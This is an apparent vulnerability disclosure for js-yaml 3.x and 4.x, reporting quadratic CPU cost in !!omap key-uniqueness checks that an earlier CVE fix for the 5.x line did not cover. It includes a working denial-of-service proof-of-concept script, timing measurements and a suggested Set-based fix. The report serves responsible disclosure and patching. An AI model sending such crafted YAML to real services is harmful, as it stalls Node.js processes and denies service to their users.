JS-YAML: Quadratic CPU consumption in !!omap resolution (3.x and 4.x) — CVE-2026-59870 fix not backported

Summary

# Quadratic CPU consumption in `!!omap` resolution (js-yaml 3.x and 4.x)

## Summary

`resolveYamlOmap()` enforces key uniqueness for `!!omap` sequences with a linear scan (`objectKeys.indexOf(...)`) inside the per-element loop, making resolution **O(n²)** in the number of entries. A modestly sized YAML document therefore consumes disproportionate CPU inside `yaml.load()`, giving a denial of service against any consumer that parses untrusted YAML.

`!!omap` is registered in the **default schema** (`lib/schema/default.js` → `require('../type/omap')`), so a plain `yaml.load(untrustedInput)` with no options is affected — no custom schema or non-default configuration is required.

**This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm**, which was fixed in the 5.x line in 5.2.1. That fix was never backported: both currently maintained legacy lines still carry the original implementation.

## Affected versions

| Line | Latest tested | Status | |---|---|---| | 3.x | **3.15.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:29` | | 4.x | **4.3.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:30` | | 5.x | 5.2.2 | **Not affected** — fixed in 5.2.1 (uses a `Set`) |

Both figures are the newest release of each line at the time of writing, so this is not a "you are on an old version" issue.

## Details

`lib/type/omap.js` (js-yaml 4.3.0):

```js if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey) else return false ```

`objectKeys` grows by one element per entry, and `Array.prototype.indexOf` is a linear scan, so resolving an `n`-entry `!!omap` performs roughly `1 + 2 + … + n` comparisons — quadratic in `n`. The work happens synchronously inside `yaml.load()`, blocking the event loop for its whole duration.

The 5.x line already solves exactly this by tracking seen keys in a `Set` (`src/tag/sequence/omap.ts`):

```ts if (carrier.seen.has(key)) return 'duplicate key in ordered map' carrier.seen.add(key) ```

## Proof of concept

```js // poc.js — node poc.js const yaml = require('js-yaml'); const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\n') + '\n';

for (const n of [10000, 20000, 40000, 80000]) { const d = doc(n), t = Date.now(); yaml.load(d); // default schema, no options console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`); } ```

### Measured (node v20.20.2, default heap, no flags)

**js-yaml 4.3.0**

``` n=10000 bytes=137787 load=54ms n=20000 bytes=297787 load=169ms n=40000 bytes=617787 load=646ms n=80000 bytes=1257787 load=2607ms ```

**js-yaml 3.15.0**

``` n=10000 bytes=137787 load=53ms n=20000 bytes=297787 load=166ms n=40000 bytes=617787 load=641ms n=80000 bytes=1257787 load=2567ms ```

Runtime grows by a factor of ~4 for each doubling of `n`, which is the signature of O(n²) (linear growth would be ~2×).

Scaling further: a **2.48 MB** document with 150,000 entries blocked `yaml.load()` for **10.8 seconds**.

## Impact

Any service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be stalled with a small input. Because the loop is synchronous, a single request blocks the Node.js event loop and stalls every other request in the process — so the amplification is per-process, not just per-request.

Suggested severity: consistent with **CVE-2026-59870** (the same weakness in 5.x), i.e. Availability-only impact, network attack vector, no privileges or user interaction required.

## Suggested fix

Mirror the 5.x fix — replace the linear scan with a `Set`:

```js // lib/type/omap.js const seen = new Set() // ... if (seen.has(pairKey)) return false seen.add(pairKey) ```

This preserves the existing duplicate-key rejection semantics exactly while making resolution O(n). A `maxOmapLength`-style cap would also work, but the `Set` matches what 5.x already ships and requires no new option.

## References

- CVE-2026-59870 / GHSA-724g-mxrg-4qvm — same weakness in 5.0.0–5.2.0, fixed in 5.2.1 - `lib/type/omap.js` (3.x, 4.x) — the affected resolver - `lib/schema/default.js` — registers `!!omap` in the default schema

## Discovery

Found by an automated static-analysis and executed-proof-of-concept scanner run against js-yaml 4.2.0, then manually verified against 3.15.0 and 4.3.0 by executing the proof of concept above. All timings in this report were measured on the **current** releases of each line, not on the version originally scanned.